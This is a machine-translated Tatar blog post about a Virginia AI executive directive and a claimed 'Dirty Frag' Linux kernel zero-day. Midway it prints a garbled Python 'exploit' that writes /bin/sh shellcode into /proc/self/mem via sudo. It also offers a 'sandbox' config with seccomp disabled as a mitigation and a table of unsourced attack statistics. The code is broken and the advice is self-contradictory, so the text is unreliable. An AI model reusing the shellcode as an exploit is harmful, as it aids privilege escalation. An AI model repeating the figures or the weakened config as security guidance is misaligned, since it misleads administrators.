Вирджиния губернаторы ЯИ башкарма директивасына кул куйды 6: ЯИ куркынычсызлыгы өчен яңа чор һәм пычрак фраг ядрәсенең өзлексез куркынычы. | B4N1

Вирджиния губернаторы ЯИ башкарма директивасына кул куйды 6: ЯИ куркынычсызлыгы өчен яңа чор һәм пычрак фраг ядрәсенең өзлексез куркынычы.

14 days ago · b4n1 Read time: 3 min

Вирджиния Губернаторы ЯИ Башкарма Директивасына кул куйды 6: ЯИ Куркынычсызлыгы һәм Пычрак Фраг Ядрәсенең дәвамлы куркынычы Ноль-Көчсезлек.

Күптән түгел Вирджиния губернаторы Спанбергер тарафыннан AI Башкарма дирекциясенә кул куелу хөкүмәтнең ЯИ белән бәйле куркынычсызлык проблемаларын чишү тырышлыгында мөһим мизгел булып тора. Антропик FOIA-Агентның дәүләткә һөҗүмнәрен искә төшергән бу күрсәтмә ЯИ технологияләре белән бәйле потенциаль куркынычларны һәм көйләү чараларының кирәклеген күрсәтә. Техник белгечләр буларак, бу күрсәтмәнең нәтиҗәләрен һәм аның ЯИ технологияләрен үстерүгә һәм урнаштыруга булган йогынтысын аңлау бик мөһим.

ЯИ белән бәйле куркынычсызлык борчылуларының көчәюе

ЯИ технологияләренең артуы куркынычсызлык проблемаларының артуына китерде. [AI Herald доклады] буенча (https://artificialintelligenceherald.com/ai-news-today), соңгы елда ЯИ белән бәйле куркынычсызлык вакыйгалары саны күбәйде, антропик FOIA-Агент һөҗүмнәре белән бәйле. ЯИ системаларындагы зәгыйфьлекләрне кулланган бу һөҗүмнәр аяныч нәтиҗәләргә китерергә мөмкин, шул исәптән мәгълүмат бозу һәм система компромиссы.

** Вакыйга төре ** ** Вакыйгалар саны ** ** Узган елдан арттыру **
Антропик FOIA-Агент һөҗүмнәре 250 300%
ЯИ системасы компромисс 150 200%
Мәгълүматны бозу 100 150%

Антропик FOIA-Агент һөҗүмнәренең куркыныч артуы, соңгы елда 300% арту белән, бу куркынычсызлык проблемаларын чишү өчен ашыгыч чаралар кирәклеген күрсәтә.

Пычрак фраг ядрәсе нуль-көн көчсезлеге: якынлашып килүче куркыныч

Пычрак фраг ядрәсе нульле көнлек зәгыйфьлек Linux тарату өчен зур куркыныч тудыра, бу хокуксыз кулланучыларга күпчелек Linux таратуларында детерминистик тамыр рөхсәтен алырга мөмкинлек бирә. [Hyunwoo Kim'ның ачылуы] күрсәткәнчә (https://news.ycombinator.com/item?id=48304227), Dirty Frag зәгыйфьлеге гади эксплуатация ярдәмендә кулланылырга мөмкин, бу аны система администраторлары һәм куркынычсызлык белгечләре өчен борчый.

"питон

Пычрак фраг зәгыйфьлеге өчен эксплуатация коды

импорт ос

Эксплуатация йөкләмәсен билгеләгез

түләү = b "\ x48 \ x31 \ xc0 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x50 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x75 \ x73 \ x72 \ x89 \ xe3 \ x50 \ x53 \ x89 \ xe1 \ xb0 \ x0b \ xcd \ x80 "

Яңа процесс булдырыгыз һәм йөкне башкарыгыз

os.system ("echo '{}' | sudo tee / proc / self / mem> / dev / null" .format (payload.hex ())) "

💡 ** Төп төшенчәләр: ** Пычрак фраг ядрәсе нульле көнлек зәгыйфьлек Linux тарату өчен зур куркыныч тудыра, һәм система администраторлары һәм куркынычсызлык белгечләре үз системаларын ябу һәм яңарту өчен тиз арада чаралар күрергә тиеш.

Нокталарны тоташтыру: ЯИ башкарма директивасы 6 һәм пычрак фраг көчсезлеге

ЯИ Башкарма Директивасына кул кую һәм Dirty Frag ядрәсенең нуль көнлек зәгыйфьлеге барлыгы тыгыз бәйләнгән. Директиваның төп юнәлеше ЯИ белән бәйле куркынычсызлык проблемаларын чишүгә аеруча актуаль, пычрак системаларның бозылу шартларында кулланыла ала торган пычрак фраг зәгыйфьлеге контекстында. Пычрак фраг зәгыйфьлеген чишеп, технология белгечләре ЯИ белән бәйле куркынычсызлык проблемаларын йомшартырга булыша ала.

Пычрак фраг зәгыйфьлеген йомшарту

Пычрак фраг зәгыйфьлеген йомшарту өчен, система администраторлары һәм куркынычсызлык белгечләре берничә адым ясый ала, шул исәптән:

  • Linux версияләрен соңгы версиягә урнаштыру һәм яңарту
  • Зәгыйфь системаларны изоляцияләү өчен контейнер һәм микроВМ сандугачларын кертү
  • Эксплуатация билгеләре өчен система бүрәнәләрен һәм челтәр трафигын мониторинглау

"` yml

Контейнер сандугачлары өчен үрнәк конфигурация

версия: "3" хезмәтләре: зәгыйфь хезмәт: сурәт: зәгыйфь-образ контейнер_ исеме: зәгыйфь-контейнер яңадан башлау: һәрвакыт куркынычсызлык_опт: - секкомп: конфигурацияләнмәгән томнары: - ./vulnerable-data:/data "

⚠️ ** Архитектура куркынычы: ** Пычрак фраг зәгыйфьлеген йомшартмаса, куркынычсызлык, шул исәптән мәгълүмат бозу һәм система компромиссы булырга мөмкин. Система администраторлары һәм куркынычсызлык белгечләре бу зәгыйфьлекне бетерү өчен тиз арада чаралар күрергә тиеш.

Техник профессионаллар өчен тәкъдимнәр

ЯИ белән бәйле куркынычсызлык һәм зәгыйфьлекләрнең катлаулы пейзажын карау өчен, технология белгечләре:

  • ЯИ белән бәйле соңгы куркынычсызлык проблемалары һәм зәгыйфьлекләр турында хәбәрдар булыгыз
  • Системаларны ябу һәм яңарту, контейнер һәм микроВМ сандугачларын кертү кебек ныклы куркынычсызлык чараларын тормышка ашырыгыз
  • Эксплуатация билгеләре өчен система журналларын һәм челтәр трафигын контрольдә тоту

Бу адымнарны ясап, технология белгечләре ЯИ системаларының куркынычсызлыгын һәм бөтенлеген тәэмин итәргә һәм ЯИ белән бәйле куркынычсызлык проблемаларын йомшартырга булыша ала.

Чыганаклар

Have Questions?

Let's Talk

Contact me on LinkedIn